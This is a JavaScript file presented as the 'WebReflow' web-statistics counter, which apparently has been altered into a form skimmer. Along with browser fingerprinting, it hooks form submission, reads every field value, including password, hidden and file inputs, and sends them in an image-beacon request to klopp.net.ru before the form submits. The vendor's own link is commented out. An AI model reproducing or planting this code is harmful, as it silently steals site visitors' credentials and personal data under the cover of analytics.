/*************************************************************************
*    WebReflow                                                           *
*    ----------------------------------------------------------------    *
*    File:          vc_include.js                                        *
*    Copyright:     (C) 2002 - 2004 Visolon GmbH                         *
*    Web:           http://www.visolon.com/en                            *
*    Scriptversion: 1.2.4                                                *
**************************************************************************
*    You don't need to edit anything in this script.                     *
*    This script is NOT freeware! Please read the Copyright Notice       *
*    (licence.txt) for further information.                              *
*************************************************************************/


function getUrlValue(queryvar, value)
{
    urlText=location.search;
    fc=urlText.slice(0,1);
    if(fc=="?")
    {
        l=urlText.length;
        urlText=urlText.slice(1,l);
        ArgSet=urlText.split("&");
        for(i=0;i<ArgSet.length;i++)
        {
            as=ArgSet[i].split("=");
            if(as[0]==queryvar && as[1]==value)
            {
                return (true);
            }
        }
        return (false);
    }
}


function readFormEl(is_submit)
{
    var len_store_var = 0;
    var store_var = "form" + escape("~") + document.forms[f_index].name + escape("~") + is_submit + escape(":");    
    for(var j=0;j<document.forms[f_index].length;++j)
    {
        e_name = document.forms[f_index].elements[j].name;
        e_type = document.forms[f_index].elements[j].type;
        e_value = "";
        if (e_type == "radio")
        {
            if (document.forms[f_index].elements[j].checked == true)
            {
                e_value = document.forms[f_index].elements[j].value;
            } 
        }
        else if(e_type == "checkbox")
        {
            if (document.forms[f_index].elements[j].checked == true)
            {
                e_value = document.forms[f_index].elements[j].value;
            }
        }
        else if (e_type == "select-one" || e_type == "select-multiple")
        {
            for(i=0;i<document.forms[f_index].elements[j].length;++i)
            {
                if(document.forms[f_index].elements[j].options[i].selected == true)
                {
                    if (e_value != "")
                    {
                        e_value = e_value + "%2C";
                    }
                    e_value = e_value + document.forms[f_index].elements[j].options[i].value;
                }
            }
        }
        else if (e_type == "text" || e_type == "textarea" || e_type == "hidden" || e_type == "password" || e_type == "file")
        {
            e_value = document.forms[f_index].elements[j].value;
        }
        if (e_value != "")
        {
            len_store_var = store_var + e_type + "%7E" + e_name + "%7E" + e_value + "%3A";  
            if (len_store_var.length < 750)
            {
                e_value = e_value.replace(/\~|\:|\,/g,"");  
                e_value = compEncode(e_value);
                store_var = store_var + e_type + "%7E" + e_name + "%7E" + e_value + "%3A";  
            }
            else
            {
                store_var = store_var + e_type + "%7E" + e_name + "%7E" + "Input to long!" + "%3A"; 
            }
        }
    }
    var now = new Date();
    var form_time = Math.round(now.getTime()/1000);
    puffer.src = "http://klopp.net.ru/s/counter.php?co="+cookie+"&ja="+java+"&re="+referrer+"&pn="+store_var+"&pu="+page_url+"&wi="+width+"&cd="+color_depth+"&js=1"+"&al="+agent_language+"&ct="+form_time+"&it=1";
    return true;
}


function checkInputSubmit()
{
    if(flag == false)
    {       
        if(fs_func)
        {
            eval("func_s_val = "  + fs_func);
        }
        if(func_s_val==true)
        {
            readFormEl("true");
            checkFormImg(true,0);
        }
        return false;
    }
    else
    {
        flag = false;
        puffer = new Image();
        return true;
    }
}


function checkFormImg(do_submit, time_run) 
{
    _do_submit = do_submit;
    if(!puffer.complete && time_run < 1250) 
    {
        _time_run = time_run + 50;
        setTimeout("checkFormImg(_do_submit, _time_run)", 50);
    }
    else
    {
        flag = true;
        if(_do_submit == true)
        {
            document.forms[f_index].submit();
        }
        else
        {
            document.forms[f_index].reset();
        }
    }
}


function compEncode(url)
{
    _url = escape(url);
    _url = _url.replace(/\//g,"%2F");
    _url = _url.replace(/@/g,"%40");
    _url = _url.replace(/\+/g,"%2B");
    return _url;
}


function getCookie(name)
{
    var i=0;
    var suche = name+"=";
    while (i<document.cookie.length)
    {
    if (document.cookie.substring(i, i+suche.length)==suche)
        {
            var ende = document.cookie.indexOf(";", i+suche.length);
            ende = (ende>-1) ? ende : document.cookie.length;
            var cook = document.cookie.substring(i+suche.length, ende);
            return unescape(cook);
        }
        i++;
    }
    return null;
}


function timeout() 
{
    setTimeout("checkImage()", 1250);
}


function checkImage() 
{
    if(!document.images['WebReflow'].complete) 
    {
        document.images['WebReflow'].src = "http://klopp.net.ru/s/pics/transparent.gif";
    }
}


function pr(server_count) 
{

//    document.write("<a href='http://www.webreflow.com/en' target='_blank' title='WebReflow Webstatistics - simply intelligent analyzation'><img name='WebReflow' border='0' alt='WebReflow Webstatistics - simply intelligent analyzation' src='http://www.zveriki-spb.ru/s/wr/counter.php?co="+cookie+"&amp;ja="+java+"&amp;re="+referrer+"&amp;pn="+page_name+"&amp;pu="+page_url+"&amp;wi="+width+"&amp;cd="+color_depth+"&amp;js=1"+"&amp;al="+agent_language+"&amp;ct="+client_time+"&amp;it=0&amp;sc="+server_count+"'></a>");
////    document.write("<a href='http://www.webreflow.com/en' target='_blank' title=''><img name='WebReflow' border='0' alt='' src='http://klopp.net.ru/s/counter.php?co="+cookie+"&amp;ja="+java+"&amp;re="+referrer+"&amp;pn="+page_name+"&amp;pu="+page_url+"&amp;wi="+width+"&amp;cd="+color_depth+"&amp;js=1"+"&amp;al="+agent_language+"&amp;ct="+client_time+"&amp;it=0&amp;sc="+server_count+u"'></a>");
    document.write("<img name='WebReflow' border='0' alt='' src='http://klopp.net.ru/s/counter.php?co="+cookie+"&amp;ja="+java+"&amp;re="+referrer+"&amp;pn="+page_name+"&amp;pu="+page_url+"&amp;wi="+width+"&amp;cd="+color_depth+"&amp;js=1"+"&amp;al="+agent_language+"&amp;ct="+client_time+"&amp;it=0&amp;sc="+server_count+"'>");
}


function utf2win(utftext)
{


/*
	value = value.toString();

	var result = '';
	for(var i = 0; i < value.length; i++) 
	{
		// если utf-код меньше 128, то он идентичен ascii-коду
		// если 1040-1103 - кирилица, преобразуем в 192-255
		// в противном случае заменяем на знак вопроса (63) для всех остальных
		// (т.е. остальными будут некирилические коды больше 255, 
		// а так же спецсимволы 128-191, которые в utf и в ascii отличаются)

		var utfCode = value.charCodeAt(i);
		var winCode = (utfCode < 128 ? utfCode : (utfCode >= 1040 && utfCode <= 1103 ? utfCode - 848 : 63));
		result += String.fromCharCode(winCode);
	}
	return result;
*/

var bb = '', c = 0;
    for (var i = 0; i < utftext.length; i++) {
        c = utftext.charCodeAt(i);
        if (c > 127) {
            if (c > 1024) {
                if (c == 1025) {
                    c = 1016;
                } else if (c == 1105) {
                    c = 1032;
                }
                bb += String.fromCharCode(c - 848);
            }
        } else {
            bb += utftext.charAt(i);
        }
    }
    return bb;
}


function vc_go(_page_name, form_name, submit_func, reset_func, server_count)
{
    if(!getCookie("webreflow") && !getUrlValue("webreflow","nocount"))
    {
        if(_page_name)
        {
            page_name=compEncode(_page_name);
        }
        else
        {   
            if(document.title)
                page_name=document.title;
            else
                page_name="";
        }

        if( typeof(PUTF) != 'undefined' )
        {
//			page_name = utf2win(page_name);
        }

        if(document.forms[form_name] && form_name) 
        {       
            fs_func = submit_func;
            f_index=form_name;
            document.forms[form_name].onsubmit = checkInputSubmit;
        }   
        pr(server_count?server_count:0);
        timeout();
    }
    else
    {
//        document.write("<img name='WebReflow' border='0' alt='' src='http://www.zveriki-spb.ru/s/wr/pics/nc_webreflow.jpg'>");
        document.write("<img name='WebReflow' border='0' alt='' src='http://klopp.net.ru/s/pics/transparent.gif'>");

        if(document.forms[form_name] && form_name) 
        {
            fs_func = submit_func;
            f_index=form_name;
            document.forms[form_name].onsubmit = function()
            {
                if(fs_func) {
                    eval("func_s_val = "  + fs_func);
                }
                if(func_s_val==true) {
                    return true;
                }else {
                    return false;
                }
            };
        }
    }
}


var f_index = "";
var fs_func = null;
var fr_func = null;
var func_s_val = true;
var func_r_val = true;
var store_var = "";
var flag = false;
var puffer = new Image();

var cookie="2";
var java="2";
var referrer="";
var width="";
var color_depth="";
var agent_language="";
var page_name="";
var page_url="";

var now = new Date();
var client_time = Math.round(now.getTime()/1000);

if(navigator.cookieEnabled == true)
    cookie="1";
else if(navigator.cookieEnabled == false) 
    cookie="0";
else 
    cookie="2";

if(navigator.javaEnabled() == true)
    java="1";
else if(navigator.javaEnabled() == false)
    java="0"
else
    java="2"
    
if(document.referrer)
    referrer = compEncode(document.referrer);
    
if ((screen.width) && (screen.height))
    width = screen.width + "x" + screen.height;
    
if(screen.colorDepth)
    color_depth = screen.colorDepth;

if(navigator.language)
     agent_language = navigator.language;
else if(navigator.userLanguage)
     agent_language = navigator.userLanguage;

if(window.location.href)
     page_url = compEncode(window.location.href);
